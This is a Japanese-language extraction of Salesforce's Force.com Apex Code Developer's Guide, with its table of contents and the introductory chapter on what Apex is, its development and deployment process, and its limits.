                                                                                                                                                                                          • Update 操作
                                                                                                                                                                                          • Upsert操作
                                                                                                                                                                                          • DML 操作をサポートしない sObjects
                                                                                                                                                                                          • DML 操作内で一緒に使用できない sObject
                                                                                                                                                                                          • 大量DML例外処理
                                                                                                                                                                                            • Apex 標準クラスおよび標準メソッド
                                                                                                                                                                                              • Primitives メソッド
                                                                                                                                                                                                • Apex Primitive メソッド
                                                                                                                                                                                                  • Blob メソッド
                                                                                                                                                                                                  • Boolean メソッド
                                                                                                                                                                                                  • Date メソッド
                                                                                                                                                                                                  • Datetime メソッド
                                                                                                                                                                                                  • Decimal メソッド
                                                                                                                                                                                                  • Double メソッド
                                                                                                                                                                                                  • Integer メソッド
                                                                                                                                                                                                  • Long メソッド
                                                                                                                                                                                                  • String メソッド
                                                                                                                                                                                                  • Time メソッド
                                                                                                                                                                                                      • Apex Collection メソッド
                                                                                                                                                                                                        • Apex Collection メソッド
                                                                                                                                                                                                          • List メソッド
                                                                                                                                                                                                          • Map メソッド
                                                                                                                                                                                                          • Set メソッド
                                                                                                                                                                                                              • Enum メソッド
                                                                                                                                                                                                              • sObject メソッド
                                                                                                                                                                                                                • Apex sObject メソッド
                                                                                                                                                                                                                  • Schema メソッド
                                                                                                                                                                                                                  • sObject メソッド
                                                                                                                                                                                                                  • sObject 定義結果メソッド
                                                                                                                                                                                                                  • 項目定義結果メソッド
                                                                                                                                                                                                                  • カスタム設定メソッド
                                                                                                                                                                                                                      • System メソッド
                                                                                                                                                                                                                        • Apex システムメソッド
                                                                                                                                                                                                                          • ApexPages メソッド
                                                                                                                                                                                                                          • Approval メソッド
                                                                                                                                                                                                                          • Database メソッド
                                                                                                                                                                                                                            • データベースバッチ Apex オブジェクトとメソッド
                                                                                                                                                                                                                            • データベース DMLOptions メソッド
                                                                                                                                                                                                                            • データベースの EmptyRecycleBinResult メソッド
                                                                                                                                                                                                                            • Database Error Object メソッド
                                                                                                                                                                                                                              • Limits メソッド
                                                                                                                                                                                                                              • Math メソッド
                                                                                                                                                                                                                              • Package メソッド
                                                                                                                                                                                                                              • Search メソッド
                                                                                                                                                                                                                              • System メソッド
                                                                                                                                                                                                                              • Test メソッド
                                                                                                                                                                                                                              • UserInfo メソッド
                                                                                                                                                                                                                                  • 例外メソッドの使用
                                                                                                                                                                                                                                    • Apex クラス
                                                                                                                                                                                                                                      • Apex電子メールクラス
                                                                                                                                                                                                                                        • 送信電子メール
                                                                                                                                                                                                                                          • 基本電子メールメソッド
                                                                                                                                                                                                                                          • 単一メール送信メッセージメソッド
                                                                                                                                                                                                                                          • 一括メール送信メッセージメソッド
                                                                                                                                                                                                                                          • EmailFileAttachment メソッド
                                                                                                                                                                                                                                          • SendEmailResult Object メソッド
                                                                                                                                                                                                                                          • SendEmailError Object メソッド
                                                                                                                                                                                                                                            • 受信電子メール
                                                                                                                                                                                                                                              • Apex 電子メールサービスとは
                                                                                                                                                                                                                                              • InboundEmail オブジェクトの使用
                                                                                                                                                                                                                                              • InboundEmail オブジェクト
                                                                                                                                                                                                                                              • InboundEmailHeader オブジェクト
                                                                                                                                                                                                                                              • InboundEmailBinaryAttachment オブジェクト
                                                                                                                                                                                                                                              • InboundEmailTextAttachment オブジェクト
                                                                                                                                                                                                                                              • InboundEmailResult オブジェクト
                                                                                                                                                                                                                                              • InboundEnvelope オブジェクト
                                                                                                                                                                                                                                                  • 例外クラス
                                                                                                                                                                                                                                                    • 例外のコンストラクト
                                                                                                                                                                                                                                                    • 例外変数の使用
                                                                                                                                                                                                                                                      • Visualforce クラス
                                                                                                                                                                                                                                                        • Action クラス
                                                                                                                                                                                                                                                        • IdeaStandardController クラス
                                                                                                                                                                                                                                                        • IdeaStandardSetController クラス
                                                                                                                                                                                                                                                        • Message クラス
                                                                                                                                                                                                                                                        • PageReference クラス
                                                                                                                                                                                                                                                        • SelectOption クラス
                                                                                                                                                                                                                                                        • StandardController クラス
                                                                                                                                                                                                                                                        • StandardSetController クラス
                                                                                                                                                                                                                                                          • パターンおよびマッチャークラス
                                                                                                                                                                                                                                                            • Pattern と Matcher の使用
                                                                                                                                                                                                                                                            • リージョンの使用
                                                                                                                                                                                                                                                            • マッチ処理の使用
                                                                                                                                                                                                                                                            • 境界の使用
                                                                                                                                                                                                                                                            • キャプチャグループの理解
                                                                                                                                                                                                                                                            • Pattern と Matcher 例
                                                                                                                                                                                                                                                            • Pattern メソッド
                                                                                                                                                                                                                                                            • Matcher メソッド
                                                                                                                                                                                                                                                              • HTTP (RESTful)サービスクラス
                                                                                                                                                                                                                                                                • HTTPクラス
                                                                                                                                                                                                                                                                  • Http クラス
                                                                                                                                                                                                                                                                  • HttpRequest クラス
                                                                                                                                                                                                                                                                  • HttpResponse クラス
                                                                                                                                                                                                                                                                    • DOM クラス
                                                                                                                                                                                                                                                                      • Document クラス
                                                                                                                                                                                                                                                                      • XmlNode クラス
                                                                                                                                                                                                                                                                        • Crypto クラス
                                                                                                                                                                                                                                                                        • EncodingUtil クラス
                                                                                                                                                                                                                                                                          • Apex 承認プロセスクラス
                                                                                                                                                                                                                                                                            • Apex 承認プロセスの例
                                                                                                                                                                                                                                                                            • ProcessRequest クラス
                                                                                                                                                                                                                                                                            • ProcessResult クラス
                                                                                                                                                                                                                                                                            • ProcessSubmitRequest クラス
                                                                                                                                                                                                                                                                            • ProcessWorkitemRequest クラス
                                                                                                                                                                                                                                                                              • XmlStreamクラス
                                                                                                                                                                                                                                                                                • XmlStreamReader クラス
                                                                                                                                                                                                                                                                                • XmlStreamWriterクラス
                                                                                                                                                                                                                                                                                  • 営業時間クラス
                                                                                                                                                                                                                                                                                  • Apex コミュニティクラス
                                                                                                                                                                                                                                                                                    • Answers クラス
                                                                                                                                                                                                                                                                                    • アイデアクラス
                                                                                                                                                                                                                                                                                      • サイトクラス
                                                                                                                                                                                                                                                                                          • Apexスクリプトの展開
                                                                                                                                                                                                                                                                                            • Forcecom IDE を使用した Apex の展開
                                                                                                                                                                                                                                                                                            • Forcecom Migration Tool の使用
                                                                                                                                                                                                                                                                                              • deploy について
                                                                                                                                                                                                                                                                                              • retrieveCode について
                                                                                                                                                                                                                                                                                              • runTests() について
                                                                                                                                                                                                                                                                                                • Forcecom Migration Tool 追加ディプロイメソッド
                                                                                                                                                                                                                                                                                                  • 付録
                                                                                                                                                                                                                                                                                                    • 納入先請求書の例
                                                                                                                                                                                                                                                                                                      • 納入先請求書の例ウォークスルー
                                                                                                                                                                                                                                                                                                      • 納入先請求書の例コード
                                                                                                                                                                                                                                                                                                        • 予約キーワード
                                                                                                                                                                                                                                                                                                        • Apex 開発および Visualforce 開発のセキュリティのヒント
                                                                                                                                                                                                                                                                                                          • クロスサイトスクリプト (XSS)
                                                                                                                                                                                                                                                                                                          • Visualforce ページのエスケープされない出力と式
                                                                                                                                                                                                                                                                                                          • クロスサイトリクエストフォージェリ (CSRF)
                                                                                                                                                                                                                                                                                                          • SOQL インジェクション
                                                                                                                                                                                                                                                                                                          • データアクセスコントロール
                                                                                                                                                                                                                                                                                                            • Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ
                                                                                                                                                                                                                                                                                                              • compileAndTest()
                                                                                                                                                                                                                                                                                                                • CompileAndTestRequest
                                                                                                                                                                                                                                                                                                                • CompileAndTestResult
                                                                                                                                                                                                                                                                                                                  • CompileClassResult
                                                                                                                                                                                                                                                                                                                  • CompileTriggerResult
                                                                                                                                                                                                                                                                                                                  • DeleteApexResult
                                                                                                                                                                                                                                                                                                                      • compileClasses()
                                                                                                                                                                                                                                                                                                                      • compileTriggers()
                                                                                                                                                                                                                                                                                                                      • executeanonymous()
                                                                                                                                                                                                                                                                                                                        • ExecuteAnonymousResult
                                                                                                                                                                                                                                                                                                                          • runTests()
                                                                                                                                                                                                                                                                                                                            • RunTestsRequest
                                                                                                                                                                                                                                                                                                                            • RunTestsResult
                                                                                                                                                                                                                                                                                                                              • CodeCoverageResult
                                                                                                                                                                                                                                                                                                                              • CodeCoverageWarning
                                                                                                                                                                                                                                                                                                                              • RunTestFailure
                                                                                                                                                                                                                                                                                                                              • RunTestSuccess
                                                                                                                                                                                                                                                                                                                              • CodeLocation
                                                                                                                                                                                                                                                                                                                                  • DebuggingHeader
                                                                                                                                                                                                                                                                                                                                  • PackageVersionHeader
                                                                                                                                                                                                                                                                                                                                      • 用語集
                                                                                                                                                                                                                                                                                                                                      • 索引
Page 2: Force.com Apex Code Developer's Guide - Salesforce CRM

目次

第 1 章 Forcecom Apex コードの概要7Apex とは9

Apex はどう機能しますか11

Apex開発プロセスとは11

Apex はいつ使用するのですか14

Apexの制限とは15

最新情報16

Apex クイックスタート16

Apex ドキュメント表記規則16

Apex の主要な概念について17

最初の Apex スクリプトの作成21

第 2 章 言語構造26データ型27

プリミティブデータ型27

sObject 型30

コレクション33Enum38

変換の規則について39

変数40

大文字と小文字の区別40

定数41

式41

式について41

式の演算子について42

演算子の優先度について48

sObject 式およびリスト式の拡張49

コメントの使用49

代入ステートメント50

条件 (If-Else) ステートメント51

ループ51

Do-While ループ51

While ループ52

For ループ52

SOQL および SOSL クエリ55

SOQL および SOSL クエリ結果の処理57

SOQL 集計関数の使用57

Version 180 | 目次 | i

非常に大きな SOQL クエリの処理58

1 つのレコードを返す SOQL クエリ59

外部キーおよび親子関係の SOQL クエリについて59

SOQL クエリおよび SOSL クエリでのApex 変数の使用59

SOQL ステートメントによるすべてのレコードの問い合わせ60

ロックするステートメント60

SOQL For ループのロック61

デッドロックの回避61

トランザクションの制御61

例外ステートメント62

Throw ステートメント63

Try-Catch-Finally ステートメント63

第 3 章 Apex の呼び出し64トリガ65

バルクトリガ66

トリガ構文66

トリガコンテキスト変数67

コンテキスト変数の考慮事項68

一般的なバルクトリガイディオム69

トリガの定義70

トリガと Merge ステートメント73

トリガと復元レコード73

トリガと実行の順序74

トリガを開始しない操作75

トリガで更新できない項目76

トリガの例外77

Apex スケジューラ77

匿名ブロック81

AJAX での Apex82

第 4 章 クラスオブジェクトおよびインターフェース84クラスを理解する85

Apex クラスの定義85

拡張クラス例86

クラス変数の宣言89

クラスメソッドの定義89

コンストラクタの使用90

アクセス修飾子92

静的およびインスタンス93

Apex プロパティ95

インターフェースおよび拡張クラス97

Version 180 | 目次 | ii

パラメータ化された型とインターフェース99

カスタムイテレータ101

キーワード102

final キーワードの使用102

instanceof キーワードの使用103

super キーワードの使用103

this キーワードの使用104

transient キーワードの使用104

with sharing または without sharing キーワードの使用105

アノテーション107Future107IsTest109Deprecated109

クラスとキャスト110

クラスとコレクション111

コレクションキャスト111

Apex クラスと Java クラスの違い112

クラス定義作成113

名前付け規則114

名前のシャドウイング115

クラスセキュリティ115

名前空間プレフィックス116

メソッドの起動での名前空間の使用116

名前空間クラス変数名の優先度116

型の解決と型のシステム名前空間117

バージョン設定118

クラスおよびトリガの Salesforcecom API バージョン設定118

Apex クラスおよびトリガのパッケージバージョンの設定119

第 5 章 Apex デザインパターン120トリガと一括要求120

第 6 章 Apex のテスト122Apex のテストについて123

Apex テストの理由123

Apex のテストの対象123

Apex のユニットテスト124

runAs メソッドの使用124

LimitsstartTestおよび stopTest の使用126

SOSL クエリのユニットテストへの追加126

ユニットテストメソッドの実行127

ベストプラクティスのテスト128

Version 180 | 目次 | iii

テストの例129

第 7 章 ダイナミック Apex134Apex 定義情報について135

動的 SOQL140

動的 SOSL141

ダイナミック DML142

第 8 章 Apex の一括処理145Apex の一括処理の使用146

Apex による共有管理について153

共有の理解153

Apex を使用したレコードの共有156

Apex による共有管理の再適用160

第 9 章 管理パッケージでの Apex の開発165パッケージバージョン166

Apex の廃止166

パッケージバージョンの動作167

Apex コードの動作のバージョニング167

バージョニングされていない Apex コードの項目168

パッケージバージョンの動作のテスト169

第 10 章 Apex メソッドの Web サービスとしての公開170WebService メソッド171

WebService メソッドによるデータの公開171

WebService キーワード使用に関する考慮事項171

Web サービスメソッドのオーバーロード172

第 11 章 Apex を使用したコールアウトの呼び出し173リモート サイト設定の追加174

SOAP サービス WSDL ドキュメントからのクラスの定義174

外部サービスの呼び出し175

HTTP ヘッダーのサポート175

サポートされた WSDL 機能176

生成されるコードについて178

WSDL 使用についての考慮事項180

HTTP コールアウトの呼び出し181

証明書の使用181

証明書の生成182

SOAP サービスでの証明書の使用183

HTTP 要求での証明書の使用183

コールアウトの制限184

Version 180 | 目次 | iv

第 12 章 参照185Apex のデータ操作言語 (DML) 操作186

ConvertLead 操作187

Delete 操作191

Insert 操作192

Merge ステートメント195

Undelete 操作195

Update 操作198

Upsert操作200

DML 操作をサポートしない sObjects204

DML 操作内で一緒に使用できない sObject204

大量DML例外処理205

Apex 標準クラスおよび標準メソッド205

Primitives メソッド206

Apex Collection メソッド227

Enum メソッド237

sObject メソッド238

System メソッド259

例外メソッドの使用297

Apex クラス300

Apex電子メールクラス300

例外クラス315

Visualforce クラス317

パターンおよびマッチャークラス336

HTTP (RESTful)サービスクラス349

Apex 承認プロセスクラス361

XmlStreamクラス366

営業時間クラス373

Apex コミュニティクラス374

サイトクラス378

第 13 章 Apexスクリプトの展開382Forcecom IDE を使用した Apex の展開383

Forcecom Migration Tool の使用383

deploy について385

retrieveCode について386

runTests() について388

Forcecom Migration Tool 追加ディプロイメソッド388

付録389

Version 180 | 目次 | v

付録 A納入先請求書の例389納入先請求書の例ウォークスルー389

納入先請求書の例コード391

付録 B 予約キーワード397

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント399クロスサイトスクリプト (XSS)399

Visualforce ページのエスケープされない出力と式401

クロスサイトリクエストフォージェリ (CSRF)403

SOQL インジェクション404

データアクセスコントロール405

付録 D Forcecom Web サービス API コールおよび Apex の SOAP ヘッダ406compileAndTest()407compileClasses()410compileTriggers()411executeanonymous()412runTests()413DebuggingHeader418PackageVersionHeader420

用語集421

索引435

Version 180 | 目次 | vi

第 1 章

Forcecom Apex コードの概要

過去数年間を通じてsalesforcecomは企業アプリケーションを伝統的なクライアントサーバベースからオンデマンドマルチテナントのウェ

トピック

bull Apex とは ブ環境へと移すことによってビジネスを行う方法を変えてきましたbull 最新情報 この環境Forcecom プラットフォームは営業支援 (SFA) およびサー

ビス サポートなどのアプリケーションの実行とカスタマイズをそしbull Apex クイックスタートて特定のビジネスニーズをベースにした新しいカスタムアプリケーションの構築を可能にしました

新規項目オブジェクトワークフローおよび承認プロセスを定義する機能など多くのカスタマイズオプションはSalesforcecomユーザインターフェースを通して利用可能ですまた開発者はクライアントサイドのプログラムから delete()update()または upsert()などのデータ操作コマンドを発行する Forcecom Web Services API を利用することができます

一般的にJavaJavaScriptまたはNETで書かれているこれらのクライアントサイドプログラムによって組織はより柔軟なカスタマイズが可能になりますしかしながらこれらのクライアントサイドプログラムの管理ロジックはForcecom プラットフォームサーバ上にはないため以下のような制限を受けます

bull 一般的なトランザクションを完了させるために salesforcecom サイトへの複数回の呼び出しを必要とするパフォーマンスコスト

bull API 要求におけるトランザクションコントロールの欠如bull Java または Net などのサーバコードをセキュアかつ安定してホスティ

ングすることのコストと複雑さ

これらの問題に対処し開発者がオンデマンドアプリケーションを作成する方法に革新を起こすためにsalesforcecomは現在商用のアプリケーションの次世代を構築することに関心を持った開発者用の最初のマルチテナントオンデマンドプログラム言語Forcecom Apexを導入します

bull Apex とは Apex をいつ使用するのか開発プロセス制限事項bull Apex の本リリースの新機能bull Apex クイックスタート コードを詳細に調査し最初のApex スクリ

プトを作成

より高度な開発者については「Apexデザインパターン (ページ 120)」を参照してください

Forcecom Apex コードの概要 Version 180 | | 8

Apex とは

Forcecom Apex コードは開発者が Forcecom プラットフォームサーバでフローとトランザクションの制御文をForcecom API と組み合わせて実行できるようにした強く定型化されたオブジェクト指向のプログラミング言語ですJava に似た構文を使いデータベースのストアドプロシージャのように動作する Apex コードを使用して開発者はボタンクリック関連レコードの更新およびVisualforceページなどのほとんどのシステムイベントに対しビジネスロジックを追加できますApex スクリプトはWeb サービス要求からおよびオブジェクトのトリガから開始できます

図 1 ほとんどのシステムイベントに Apex を追加できます

言語としてApex は次の特徴があります

統合Apex では次のような Forcecom プラットフォームの共通な慣用句を使用できます

bull INSERTUPDATEおよび DELETEなど組み込み DmlException処理を含むデータ操作言語 (DML)コール

bull sObject レコードのリストを返すインラインSalesforcecomオブジェクトクエリ言語 (SOQL) とSalesforcecomオブジェクト検索言語 (SOSL) のクエリ

bull 複数のレコードの一括処理を可能にするループ

Forcecom Apex コードの概要 Version 180 | Apex とは | 9

bull レコード更新の競合を回避するロック構文bull 保存された Apex メソッドから構築できるカスタム公開 Forcecom API コールbull Apexが参照するカスタムオブジェクトまたはカスタムフィールドを編集または削除しようとした場合に

発行される警告およびエラー

使いやすいApex は変数や式構文ブロックおよび条件ステートメント構文ループ構文オブジェクトおよび配列の通史参照によるパスなどよく知られた Java の用語に基づいていますApex が新しい要素を導入している場合Forcecom プラットフォームを理解しやすくまた使いやすくする構文および動作を使用しますその結果Apex は簡潔で記述しやすいコードを作成します

データ指向Apex は複数のクエリおよび DML ステートメントを Forcecom プラットフォームサーバー上の 1 つの作業にまとめるよう設計されています開発者はデータベースのストアドプロシージャを使用し複数のトランザクションステートメントをデータベースサーバーにまとめますほかのデータベースのストアドプロシージャと同様にApex はユーザインターフェースでの要素の実行はサポートしていません

厳密性Apex はオブジェクト名や項目名などスキーマオブジェクトを直接参照する強力に型付けされた言語です参照が無効である場合はコンパイル時にすぐエラーが発生しますアクティブな Apex スクリプトが要求している場合に削除されないようメタデータのすべてのカスタム項目オブジェクトクラス依存を保存します

ホステッドApex はすべて Forcecom プラットフォーム上で解釈実行制御されます

マルチテナント型ほかの Forcecom プラットフォームと同様Apex はマルチテナント環境で実行しますそのためApex ランタイムエンジンはRunaway スクリプトに対して保護するよう設計され共有リソースを独占しないようにしますこうした制限事項に違反するスクリプトは失敗しわかりやすいエラーメッセージが表示されます

自動アップグレードApexはForcecomプラットフォームのほかの部分がアップグレードされた場合にも書き直す必要がありませんコンパイルされたコードはプラットフォームのメタデータとして保存されているためシステムの残りの部分で自動的にアップグレードされます

テストしやすいApex ではコードがどれだけカバーされているかコードのどの部分がより効果的かを示すテスト結果などユニットテストを作成および実行できますSalesforcecom ではプラットフォームのアップグレードの前にメタデータに保存されたすべてのユニットテストを実行することによってスクリプトを期待どおりに動作させることができます

バージョンApex スクリプトを異なるバージョンの Forcecom API に対して保存できますこれにより動作を維持できます

Apex は Unlimited EditionDeveloper EditionEnterprise Edition に搭載されています

Forcecom Apex コードの概要 Version 180 | Apex とは | 10

Apex はどう機能しますか

すべてのApexは以下のアーキテクチャダイアグラムで示すようにForcecomプラットフォームにて全体的にオンデマンドで実行されます

図 2 ApexコードはForcecom プラットフォーム上で全体的にコンパイルされ記憶され実行されます

プラットフォームにApexスクリプトを開発者が作成して保存する時プラットフォームのアプリケーションサーバは最初にコードをApexランタイムインタプリタによって理解可能な命令の抽象セットにコンパイルしそれからメタデータとしてそれらの命令を保存します

Apex の実行はエンドユーザがおそらくボタンをクリックするかまたは Visualforce ページにアクセスすることによって行われますその際プラットフォームのアプリケーションサーバがコンパイルされた命令をメタデータから取得しランタイムインタプリタを通して結果を返します標準プラットフォームとの実行時間の違いはないためエンドユーザが気づくことはありません

Apex開発プロセスとは

Apexスクリプトの開発を始める前にsalesforcecomが推奨する以下の開発プロセスを理解する必要があります

1 Developer Edition アカウントの取得2 Apex スクリプトの作成3 Apex を作成する場合テストを作成する必要もあります4 任意でApex スクリプトを sandbox 組織にディプロイし最終ユニットテストを行います5 Salesforcecom 運用組織に Apex スクリプトを展開します

作成およびテストが完了したスクリプトはForcecom AppExchange App package に追加することも可能です

Developer Edition アカウントの取得

Apexを実行可能な3つのタイプの組織が以下のようにあります

bull 開発者組織 Developer Edition アカウントで作成された組織bull 運用組織 実際の運用データとそれらにアクセスするユーザを持っている組織

Forcecom Apex コードの概要 Version 180 | Apex はどう機能しますか | 11

bull Sandbox 組織 本番システム上に作成された運用組織のコピー

メモ Salesforcecom のTrial EditionではApexトリガが利用可能ですが他のエディションにコンバートしている時は無効です新しくサインアップした組織が Apex を含む場合ディプロイメントメソッドの1つを使ってコードを組織にディプロイする必要があります

Salesforcecom 運用組織では Apex を開発することはできません実際にユーザが利用中のシステムで開発を行う場合データまたはアプリケーションを不安定にまたは破壊することがありますsalesforcecom はsandboxまたはDeveloper Edition 組織上ですべての開発作業を行うことを推奨します

まだ開発者コミュニティのメンバーでない場合httpdeveloperforcecomjoin にアクセスしDeveloper Editionアカウントのサインアップの指示に従ってくださいDeveloper Editionアカウントによって自由にDeveloperEdition組織にアクセス可能になりますEnterprise または Unlimited Edition 組織およびApexを作成するためのsandbox 組織を既にお持ちでも開発者コミュニティのリソースを参照することを強くお勧めします

メモ Salesforcecom の運用組織ではSalesforcecom ユーザーインターフェースを使用して Apex に変更を行うことはできません

Apex の作成

次のような編集環境で Apex スクリプトおよびテストを作成できます

bull Forcecom IDE

Forcecom IDE は Eclipse IDE のプラグインですForcecom IDE にはForcecom アプリケーションを構築および展開する統合インターフェースがあります開発者および開発チーム向けに設計された IDE にはソースコードエディタテスト実行ツールウィザードおよび統合ヘルプなどForcecom アプリケーション開発を促進するツールが用意されていますForcecom IDEはhttpwikiapexdevnetcomindexphpForcecom_IDEで入手できます基本的なカラー表示エディタアウトラインビュー統合されたユニットテストおよび保存時の自動コンパイルとエラーメッセージ表示を提供しますインストール方法および使用方法の詳細はWeb サイトを参照してください

bull Salesforcecom ユーザインターフェースすべてのスクリプトは保存時にコンパイルされ構文エラーにはフラグが表示されますエラーがなくなるまでコードを保存することはできませんSalesforcecom ユーザーインターフェースはスクリプトの行番号を表示しカラー表示によるコメントキーワードリテラル文字列などさまざまな要素を区別しやすいように表示します

- 標準オブジェクトのトリガの場合は [設定] [カスタマイズ]をクリックしオブジェクト名をクリックしてから [トリガ] をクリックしますトリガの詳細ページで[新規] をクリックしBodyテキストボックスにコードを入力します

- カスタムオブジェクトのトリガ場合は[設定] [開発] [オブジェクト] をクリックしオブジェクトの名前をクリックしますトリガの関連リストで[新規]をクリックしBodyテキストボックスにコードを入力します

- クラスの場合[設定] [開発] [Apex クラス] をクリックします[新規] をクリックしBodyテキストボックスにコードを入力します

メモ Salesforcecom の運用組織ではSalesforcecom ユーザーインターフェースを使用して Apex に変更を行うことはできません

bull メモ帳などのテキストエディタApexスクリプトを作成した後アプリケーションにコピーして貼り付けたりAPI コールのいずれかを使用してディプロイすることができます

Forcecom Apex コードの概要 Version 180 | Apex開発プロセスとは | 12

ヒント Eclipse プラグインを拡張または Apex IDEを独自に開発することも可能ですWebサービス APIにはトリガやクラスをコンパイルテストメソッドを実行するための方法が提供されまた MetadataAPI には本番環境にコードをディプロイするための方法が提供されています詳細はApex スクリプトのディプロイ (ページ 382)およびApex の Web サービス API コールと SOAP ヘッダー (ページ 406)

テストの作成

テストは長期間の開発を正常に行うためにキーとなるもので開発プロセスの重要な部分を占めますテストベースの開発プロセスつまりコード開発と同じ回数行うテスト開発を使用することを強くお勧めします

強固な開発を促進するためにエラーのないコードApex はユニットテストの作成および実行をサポートしますユニットテストは特定のコードが適切に動作しているかを確認するクラスメソッドですユニットテストは引数をとらずデータをデータベースにコミットせず電子メールを送信せずメソッド定義で testMethod

キーワードを使用してフラグを立てます

またForcecom AppExchange 向けに Apex を展開またはパッケージ化する前に次の点を実行する必要があります

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

テスト作成の詳細は「Apex のテスト (ページ 122)」を参照してください

Sandbox 組織への Apex のディプロイ

Salesforcecomはテストやトレーニングなど様々な目的のために運用組織のデータとアプリケーションに影響を与える事なく運用組織のコピーを複数作成可能にしますこれらのコピーは Sandbox と呼ばれSalesforcecomの運用組織とほぼ同じですSandbox はSalesforcecom 運用組織から完全に独立しているためSandbox で実行する操作は Salesforcecom 運用組織に影響せず逆に運用組織で実行する操作が Sandbox に影響することもありません

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはForcecom コンポーネント展開ウィザードを使用しますForcecom IDE に関する詳細はhttpwikiapexdevnetcomindexphpForcecom_IDE を参照してください

deploy() Metadata API コールを使用して開発者組織から Sandbox 組織に Apex を展開することもできます

もう1つの便利なAPIコールはrunTests()です開発またはsandbox組織においては特定のクラスクラスのリストまたは名前空間のためにユニットテストを実行可能です

Salesforcecom には簡単にこれらのコマンドをコンソール内で発行可能にする Forcecom Migration Tool もありますまたは自身のディプロイコードを実行することも可能です

Forcecom Apex コードの概要 Version 180 | Apex開発プロセスとは | 13

詳細については「Forcecom 移行ツールの使用」 (ページ 383)と「Apex スクリプトのディプロイ」 (ページ 382)を参照してください

Apex の Salesforcecom 運用組織へのディプロイ

すべてのユニットテストを完了させApex スクリプトが適切に実行されることを確認した後で最終ステップはSalesforce 運用組織に Apex に展開することになります

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはForcecom コンポーネント展開ウィザードを使用しますForcecom IDE に関する詳細はhttpwikiapexdevnetcomindexphpForcecom_IDE を参照してください

Salesforce 運用組織に Apex を展開するにはcompileAndTest API コールも使用可能です

詳細は「Apex のディプロイ」 (ページ 382)を参照してください

Apex スクリプトの Forcecom AppExchange App アプリケーションへの追加

AppExchange 用に作成するアプリケーションに Apex スクリプトを含めることができます

パッケージの一部として含まれている Apex はどれも累積的テストカバー率が最低でも 75 である必要があります各トリガも何らかのテストを行なう必要がありますパッケージを AppExchange にアップロードする時すべてのテストが実行されエラーなく実行されることが確認されますまたパッケージがインストールされる時にもすべてのテストがインストール先の組織で実行されますインストールを実行する管理者はいずれかのテストに失敗した場合パッケージのインストールを続行するかどうかを判断できます

またsalesforcecom はApex を含む AppExchange パッケージは管理パッケージとするよう推奨します

詳細はSalesforcecomオンラインヘルプの「管理パッケージとは 」を参照してください管理パッケージのApexの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

メモ 翻訳文のあるカスタムラベルへの参照を含む Apex クラスのパッケージに翻訳を含めるにはトランスレーションワークベンチを有効にし翻訳されたカスタムラベルで使われている個々の言語を明示的にパッケージに含めてください詳細はオンラインヘルプの項目「カスタムラベルの概要」を参照してください

Apex はいつ使用するのですか

Salesforcecomでは強力な CRM 機能を提供するアプリケーションが組み込まれていますまた組織に応じて組み込みアプリケーションをカスタマイズする機能も用意していますただし組織には既存の機能ではサポートされていない複雑なビジネスプロセスがあることがありますこの場合Forcecom プラットフォームには高度な管理者や開発者がカスタム機能を実装できるさまざまな方法が搭載されています搭載されている機能はApexVisualforceおよび Forcecom Web サービス API です

Apex

次のような場合に Apex を使用します

bull Web サービスを作成するbull 電子メールサービスを作成するbull 複数のオブジェクトに複雑な検証を実行するbull ワークフローでサポートされていない複雑なビジネスプロセスを作成する

Forcecom Apex コードの概要 Version 180 | Apex はいつ使用するのですか | 14

bull カスタムトランザクションロジック (1 つのレコードやオブジェクトだけでなくトランザクション全体で発生するロジック) を作成する

bull 操作がユーザインターフェースVisualforce ページまたは Web サービス API のどこで行われているかに関係なく操作が実行されるといつでも行われるようレコードの保存などの別の操作にカスタムロジックを添付する

Visualforce

Visualforce ではタグベースのマークアップ言語を使用して開発者はより効果的にアプリケーションを開発したりSalesforcecomのユーザインターフェースをカスタマイズしたりできますVisualforceを使用して次のことができます

bull ウィザードやその他のマルチステッププロセスの構築bull アプリケーションを介した独自のカスタムフローコントロールの作成bull 最適かつ効果的なアプリケーションの相互作用を目的としたナビゲーションパターンやデータ固有ルール

の定義

詳細については『Visualforce Developers Guide』を参照してください

Forcecom Web サービス API

度に 種類のレコードを処理しトランザクション処理(Savepointの設定またはロールバックなど)を必要としないアプリケーションの場合標準の Forcecom Webサービス API コールを使用します

詳細は『Forcecom Web Services Developers API Guide』を参照してください

Apexの制限とは

Apexは開発者のオンデマンドビジネスアプリケーションを大胆に変えましたしかし一般的なプログラム言語を意味しているわけではありませんこのリリースではApex は以下の目的で使用することができません

bull エラーメッセージ以外のユーザインターフェースのレンダリングbull 標準機能の変更 -Apex は標準機能が呼ばれるのを防ぐかまたは機能を追加することのみ可能ですbull 一時ファイルの作成bull スレッドの作成

ヒント

Apexスクリプトは他のすべての組織で使用される共有リソースであるForcecomプラットフォームで実行されます一貫したパフォーマンスと拡張性を保証するためApexの実行はApex実行がSalesforcecomのサービス全体に一切影響を及ぼさないことを保証するガバナ制限に拘束されていますこれは各Apexスクリプトは1 回のトランザクションで実行できる操作数 (DML や SOQL など) に制限があることを意味します

すべての Apex トリガ要求は1 件から 1000 件のレコードを含むコレクションを返しますコードが一度に 1 つのレコードだけに機能すると想定することはできませんそのため一括処理を行うプログラミングパターンを実装する必要がありますそうでない場合ガバナ制限に触れる場合があります

関連リンクApex デザインパターン

Forcecom Apex コードの概要 Version 180 | Apexの制限とは | 15

最新情報

Apex の新機能および変更された機能概要について Winter 10 をレビューします

Apex クイックスタート

Developer Edition を導入しApex スクリプトを作成するために使用するツールを選択するとApex の主要な概念の一部を学びたいと考えるでしょうApexは Java に非常に似ているため多くの機能がなじみ深いものです

基本を確認したら最初の Apex プログラム非常に簡単な「Hello World」スクリプトを作成しましょうスクリプトを作成した後ユニットテストを書いて拡張することも可能です

さらに納入先請求書の例を検証することもできますこの例ではより多くの言語の機能を説明しています

